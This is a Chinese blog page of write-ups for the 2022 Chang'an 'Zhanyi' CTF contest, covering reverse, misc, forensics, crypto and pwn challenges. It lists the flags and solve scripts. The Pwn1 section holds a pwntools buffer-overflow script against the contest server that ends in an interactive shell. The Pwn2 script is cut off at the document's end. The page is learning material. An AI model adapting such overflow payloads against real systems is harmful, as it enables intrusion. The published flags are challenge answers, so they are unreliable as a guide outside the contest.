<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>2022长安“战疫”网络安全卫士守护赛回顾 | Mox的笔记库</title><meta name="keywords" content="Working"><meta name="author" content="MocusEZ"><meta name="copyright" content="MocusEZ"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="长安“战疫”网络安全卫士守护赛回顾（持续更新中）">
<meta property="og:type" content="article">
<meta property="og:title" content="2022长安“战疫”网络安全卫士守护赛回顾">
<meta property="og:url" content="https://www.mocusez.site/posts/a585.html">
<meta property="og:site_name" content="Mox的笔记库">
<meta property="og:description" content="长安“战疫”网络安全卫士守护赛回顾（持续更新中）">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://ae03.alicdn.com/kf/Ha7b43e66b9b84c7198a0b5d44b520138q.png">
<meta property="article:published_time" content="2022-01-08T13:00:00.000Z">
<meta property="article:modified_time" content="2022-01-08T13:00:00.000Z">
<meta property="article:author" content="MocusEZ">
<meta property="article:tag" content="Working">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://ae03.alicdn.com/kf/Ha7b43e66b9b84c7198a0b5d44b520138q.png"><link rel="shortcut icon" href="/img/title.jpg"><link rel="canonical" href="https://www.mocusez.site/posts/a585"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//hm.baidu.com"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?c85c9eaebc158345532b86397a6dded9";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: {"path":"/search.xml","preload":false,"languages":{"hits_empty":"找不到您查询的内容：${query}"}},
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '天',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: '2022长安“战疫”网络安全卫士守护赛回顾',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-01-08 21:00:00'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 6.2.0"><link rel="alternate" href="/atom.xml" title="Mox的笔记库" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/img/head.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">61</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">8</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://ae03.alicdn.com/kf/Ha7b43e66b9b84c7198a0b5d44b520138q.png')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Mox的笔记库</a></span><div id="menus"><div id="search-button"><a class="site-page social-icon search"><i class="fas fa-search fa-fw"></i><span> 搜索</span></a></div><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 归档</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链&amp;私人收藏</span></a></div><div class="menus_item"><a class="site-page" href="/board/"><i class="fa-fw fas fa-user"></i><span> 留言板</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">2022长安“战疫”网络安全卫士守护赛回顾</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2022-01-08T13:00:00.000Z" title="发表于 2022-01-08 21:00:00">2022-01-08</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-01-08T13:00:00.000Z" title="更新于 2022-01-08 21:00:00">2022-01-08</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/CTF%E9%A2%98%E8%A7%A3/">CTF题解</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="2022长安“战疫”网络安全卫士守护赛回顾"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"><i class="fa-solid fa-spinner fa-spin"></i></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h1 id="2022长安“战疫”网络安全卫士守护赛回顾"><a href="#2022长安“战疫”网络安全卫士守护赛回顾" class="headerlink" title="2022长安“战疫”网络安全卫士守护赛回顾"></a>2022长安“战疫”网络安全卫士守护赛回顾</h1><p>从从早上6点到晚上18点，除了去做核酸以外还没出过宿舍，（y1s1,中午快一点才把午餐送到，听说还闹了些不愉快的事情），先把题解写下，有的地方还需要日后补充（咕咕咕）</p>
<p>（持续更新中）</p>
<p>20221.1.13更新</p>
<p>四叶草还是给力，下面是复现靶场</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://www.yunyansec.com/#/experiment/expdetail/3">https://www.yunyansec.com/#/experiment/expdetail/3</a></p>
<h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><p>别问为什么reverse的前三题和官网的一样（因为就是我出的），要是知道大佬们要来，题目难度肯定会再上一个档次</p>
<h3 id="hello-py"><a href="#hello-py" class="headerlink" title="hello_py"></a>hello_py</h3><p>flag{He110_cazy}</p>
<p>pyc用网上的工具解密完以后，异或运算解决</p>
<p>题解：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">flag=[<span class="number">44</span>, <span class="number">100</span>, <span class="number">3</span>, <span class="number">50</span>, <span class="number">106</span>, <span class="number">90</span>, <span class="number">5</span>, <span class="number">102</span>, <span class="number">10</span>, <span class="number">112</span>]</span><br><span class="line">j=<span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> flag:</span><br><span class="line">    <span class="keyword">if</span> j%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">        flag[j]=flag[j]^flag[j+<span class="number">1</span>]</span><br><span class="line">        j+=<span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        flag[j]=flag[j]^j</span><br><span class="line">        j+=<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(flag)):</span><br><span class="line">    flag[i]=<span class="built_in">chr</span>(flag[i])</span><br><span class="line">flagstr=<span class="string">&#x27;&#x27;</span></span><br><span class="line">flagstr=<span class="string">&#x27;&#x27;</span>.join(flag)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(flagstr)</span><br></pre></td></tr></table></figure>



<h3 id="cute-doge"><a href="#cute-doge" class="headerlink" title="cute_doge"></a>cute_doge</h3><p>普通的柴犬，戳一戳会发生什么奇妙的事情呢？</p>
<p>flag{Ch1na_yyds_cazy}</p>
<p>题解：</p>
<p>X64DBG动态调试，调试字符串,doge在被点第一下的时候会中断，中断过后会在X64DBG显示出flag</p>
<p><img src="https://ae05.alicdn.com/kf/Hdd7e35e392d94a1e9afcfbdd1c81487ez.png" alt="Snipaste_2021-12-28_12-15-19.png"></p>
<h3 id="combat-slogan"><a href="#combat-slogan" class="headerlink" title="combat_slogan"></a>combat_slogan</h3><p>flag{We_w11l_f1ght_t0_end_t0_end_cazy}</p>
<p>题解：</p>
<p>.class字节码很容易反编译</p>
<p>rot13加密，配合ASCII码验证flag是否正确</p>
<h3 id="lemon"><a href="#lemon" class="headerlink" title="lemon"></a>lemon</h3><p>小众语言，题解说是出自hitcon2021，但看着大佬用Python手写编译器是真的🐂</p>
<h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><h3 id="八卦迷宫"><a href="#八卦迷宫" class="headerlink" title="八卦迷宫"></a>八卦迷宫</h3><p>走迷宫，写拼音</p>
<p><img src="https://ae05.alicdn.com/kf/H197dffb0c0a14c79ae1d99a464b49a24Q.png" alt="Snipaste_2022-01-07_10-37-32.png"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cazy&#123;zhanzhangyangzhangzhanyanghezhangshananzhanyizhanyianyizhanganyang&#125; </span><br></pre></td></tr></table></figure>



<h3 id="西安加油"><a href="#西安加油" class="headerlink" title="西安加油"></a>西安加油</h3><p>wireshark-&gt;导出</p>
<p>有一个secret.txt和hint.txt</p>
<p>hint.txt的内容是base32加密，解密结果如下</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">9403.png is 0</span><br><span class="line">8086.png is 1</span><br><span class="line">7301.png is 2</span><br><span class="line">7422.png is 3</span><br><span class="line">3978.png is 4</span><br><span class="line">8266.png is 5</span><br><span class="line">7683.png is 6</span><br><span class="line">5410.png is 7</span><br><span class="line">4365.png is 8</span><br><span class="line">2426.png is 9</span><br><span class="line">9056.png is 10</span><br><span class="line">3205.png is 11</span><br><span class="line">6361.png is 12</span><br><span class="line">9167.png is 13</span><br><span class="line">3195.png is 14</span><br><span class="line">5852.png is 15</span><br><span class="line">9280.png is 16</span><br><span class="line">9702.png is 17</span><br><span class="line">8424.png is 18</span><br><span class="line">1675.png is 19</span><br><span class="line">3014.png is 20</span><br><span class="line">7986.png is 21</span><br><span class="line">8432.png is 22</span><br><span class="line">7139.png is 23</span><br><span class="line">4655.png is 24</span><br><span class="line">7258.png is 25</span><br><span class="line">3565.png is 26</span><br><span class="line">5444.png is 27</span><br><span class="line">7384.png is 28</span><br><span class="line">2003.png is 29</span><br><span class="line">8688.png is 30</span><br><span class="line">5956.png is 31</span><br><span class="line">3509.png is 32</span><br><span class="line">9027.png is 33</span><br><span class="line">1905.png is 34</span><br><span class="line">6085.png is 35</span><br><span class="line">7406.png is 36</span><br><span class="line">1650.png is 37</span><br><span class="line">8602.png is 38</span><br><span class="line">9377.png is 39</span><br><span class="line">1323.png is 40</span><br><span class="line">7321.png is 41</span><br><span class="line">2747.png is 42</span><br><span class="line">7125.png is 43</span><br><span class="line">1220.png is 44</span><br><span class="line">7079.png is 45</span><br><span class="line">5172.png is 46</span><br><span class="line">5070.png is 47</span><br></pre></td></tr></table></figure>

<p>打开secret.txt,发现里面是base64编码</p>
<p>先base64解码完以后，解码出来的hex粘贴到Winhex文件里，发现是一个压缩包，压缩包加压后会得到一堆图片</p>
<p><img src="https://ae03.alicdn.com/kf/H29bd0fa9cf5d4159a911f161b7a5e89b4.png" alt="image-20220108182552605.png"></p>
<p>按照hint的提示拼图即可</p>
<p><img src="https://ae01.alicdn.com/kf/H5e3feae3391b4d0eb763fd12c7561226E.png" alt="QQ图片20220108181349.jpg"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cazy&#123;make_xiAn_great_Again&#125;</span><br></pre></td></tr></table></figure>





<h3 id="朴实无华的取证"><a href="#朴实无华的取证" class="headerlink" title="朴实无华的取证"></a>朴实无华的取证</h3><p>学校网不好，193M的Raw下了很久</p>
<p>用volatility取证</p>
<p>临时学习了一下</p>
<p><a target="_blank" rel="noopener external nofollow noreferrer" href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html">狼组安全_Volatility取证分析工具</a></p>
<p>发现kali的软件源里面已经没有volatility，去github下载了一个二进制的2.5版本</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">└─$ ./volatility filescan -f xp_sp3.raw --profile=WinXPSP2x86 | grep flag                                                                        </span><br><span class="line">Volatility Foundation Volatility Framework 2.5</span><br><span class="line">0x00000000017ad6a8      2      0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip</span><br><span class="line">0x00000000018efcb8      1      0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\flag.lnk</span><br><span class="line">0x0000000001b34f90      1      1 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip</span><br><span class="line">0x0000000001e65028      1      0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png</span><br></pre></td></tr></table></figure>



<p>把flag.png 给dump出来，最后解出来这张图，凯撒密码位移三位，但flag不在这里，最后也没做出来</p>
<p><img src="https://ae04.alicdn.com/kf/H6bd4a44574e948339cd2acfceca61adeJ.png" alt="file.None.0x81b737d8.png"></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">8LDQ?ZL00? FHUWDLQ0B?VXFFHG?LQ?ILJKNLQJ?WKH?HSLGHPLF</span><br><span class="line"></span><br><span class="line">//错误的flag</span><br><span class="line">cazy&#123;8IAN?WILL?CERTAINLY?SUCCED?IN?FIGHKING?THE?EPIDEMICMIC&#125;</span><br></pre></td></tr></table></figure>

<p>原因是少做了一步</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">volatility filescan -f xp_sp3.raw --profile=WinXPSP3x86 psscan</span><br></pre></td></tr></table></figure>

<p>官方题解用的是这个，但是桌面中文不好打，其他队的题解是直接看Notepad</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">//官方</span><br><span class="line">vol.py -f xp_sp3.raw --profile=WinXPSP3x86 filescan | grep &quot;桌面&quot;</span><br><span class="line">//大佬</span><br><span class="line">volatility -f xp_sp3.raw --profile=WinXPSP3x86 notepad</span><br></pre></td></tr></table></figure>

<p>密码是20211209</p>
<p>解压文件，根据flag.zip的算法还原字符串即可</p>
<p>差点就做出来了！！！有点气人</p>
<h3 id="Ez-steg"><a href="#Ez-steg" class="headerlink" title="Ez_steg"></a>Ez_steg</h3><p>zip六位数字密码爆破</p>
<p>pyc字节码隐写</p>
<p>python 3.6以上用这个版本</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/c10udlnk/stegosaurus</span><br></pre></td></tr></table></figure>

<p>没成功，不去尝试了</p>
<p>emoji-AES加密还是万万没想到的</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://aghorler.github.io/emoji-aes/</span><br></pre></td></tr></table></figure>

<p>AES加密后的串Base64，然后mapping到了emoji</p>
<h3 id="Binary"><a href="#Binary" class="headerlink" title="Binary"></a>Binary</h3><p>大佬们是怎么看出那是base64串</p>
<p>base64解出来后，01串大概率是二维码，用opencv解决即可</p>
<h3 id="pipicc"><a href="#pipicc" class="headerlink" title="pipicc"></a>pipicc</h3><p>学会jpg格式补齐了</p>
<ul>
<li><p>（固定）八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头</p>
</li>
<li><p>（固定）四个字节00 00 00 0D（即为十进制的13）代表数据块的长度为13</p>
</li>
<li><p>（固定）四个字节49 48 44 52（即为ASCII码的IHDR）是文件头数据块的标示（IDCH）</p>
</li>
<li><p>（可变）13位数据块（IHDR)</p>
<ul>
<li>前四个字节代表该图片的宽</li>
<li>后四个字节代表该图片的高</li>
<li>后五个字节依次为：<br>Bit depth、ColorType、Compression method、Filter method、Interlace method</li>
</ul>
</li>
<li><p>（可变）剩余四字节为该png的CRC检验码，由从IDCH到IHDR的十七位字节进行crc计算得到。</p>
</li>
<li><p>最后IEND结尾</p>
<p>找到IHDR-IEND，提取到另外一个hex就会出现jpg图像</p>
</li>
<li><p>JPEG图片以“FF D8”开头,以“FF D9”<strong>结尾</strong></p>
</li>
</ul>
<p>？？？</p>
<p>我也不知道怎么回事，记住就完事了</p>
<h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="no-cry-no-can"><a href="#no-cry-no-can" class="headerlink" title="no_cry_no_can"></a>no_cry_no_can</h3><p>第一次做Crypto</p>
<p>题目长这样</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag,key</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">len</span>(key) &lt;= <span class="number">5</span> //key限制<span class="number">5</span>位</span><br><span class="line"><span class="keyword">assert</span> flag[:<span class="number">5</span>] == <span class="string">b&#x27;cazy&#123;&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">can_encrypt</span>(<span class="params">flag,key</span>):</span><br><span class="line">    block_len = <span class="built_in">len</span>(flag) // <span class="built_in">len</span>(key) + <span class="number">1</span></span><br><span class="line">    new_key = key * block_len</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>([i^j <span class="keyword">for</span> i,j <span class="keyword">in</span> <span class="built_in">zip</span>(flag,new_key)])</span><br><span class="line"></span><br><span class="line">c = can_encrypt(flag,key)</span><br><span class="line"><span class="built_in">print</span>(c)</span><br><span class="line"></span><br><span class="line"><span class="comment"># b&#x27;&lt;pH\x86\x1a&amp;&quot;m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l&#x27;</span></span><br></pre></td></tr></table></figure>

<p>我们已知flag里面一定带有“cazy{”，那么Key必须得是5位，要正常实现zip操作new_key的长度要大于等于c（同时也大于flag）</p>
<p>原题是带有异或，基于异或运算的性质，只要把flag与答案异或，就能出现key</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ans=<span class="string">b&#x27;&lt;pH\x86\x1a&amp;&quot;m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l&#x27;</span></span><br><span class="line">key=[<span class="number">95</span>, <span class="number">17</span>, <span class="number">50</span>, <span class="number">255</span>, <span class="number">97</span>]*<span class="number">6</span> //key*<span class="number">6</span>是为了保证大于C</span><br><span class="line">temp=ans</span><br><span class="line">ee=<span class="built_in">list</span>([i^j <span class="keyword">for</span> i,j <span class="keyword">in</span> <span class="built_in">zip</span>(temp,key)])</span><br><span class="line">s=<span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> ee:</span><br><span class="line">    s+=<span class="built_in">chr</span>(i)</span><br><span class="line"><span class="built_in">print</span>(s)</span><br></pre></td></tr></table></figure>



<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cazy&#123;y3_1s_a_h4nds0me_b0y!)</span><br></pre></td></tr></table></figure>



<h3 id="no-math-no-cry"><a href="#no-math-no-cry" class="headerlink" title="no_math_no_cry"></a>no_math_no_cry</h3><p>算法分析起来不难，但当时bytes_to_long看的有点懵</p>
<p>看题解以后才发现根本就不影响</p>
<p>Copy 一下Timeline Sec的题解</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import gmpy2</span><br><span class="line">from Crypto.Util.number import long_to_bytes</span><br><span class="line"></span><br><span class="line">c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169</span><br><span class="line"></span><br><span class="line">x = gmpy2.iroot(c - 0x0338470, 2)</span><br><span class="line">m = (1 &lt;&lt; 500) - x[0]</span><br><span class="line">print(long_to_bytes(m))</span><br></pre></td></tr></table></figure>









<h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><p>感谢<a target="_blank" rel="noopener external nofollow noreferrer" href="https://giles-one.github.io/">Giles</a>的支持，大家有机会去他的主页看看，</p>
<h3 id="Pwn1"><a href="#Pwn1" class="headerlink" title="Pwn1"></a>Pwn1</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = remote(<span class="string">&quot;113.201.14.253&quot;</span>,<span class="number">16088</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn1&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;Gift:&quot;</span>)</span><br><span class="line">buf = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>),<span class="number">16</span>)</span><br><span class="line">payload = <span class="string">&quot;&quot;</span></span><br><span class="line">payload += p32(<span class="number">0x8048540</span>)</span><br><span class="line">payload += <span class="string">&quot;A&quot;</span>*<span class="number">48</span></span><br><span class="line">payload += p64(buf+<span class="number">4</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>





<h3 id="Pwn2"><a href="#Pwn2" class="headerlink" title="Pwn2"></a>Pwn2</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span 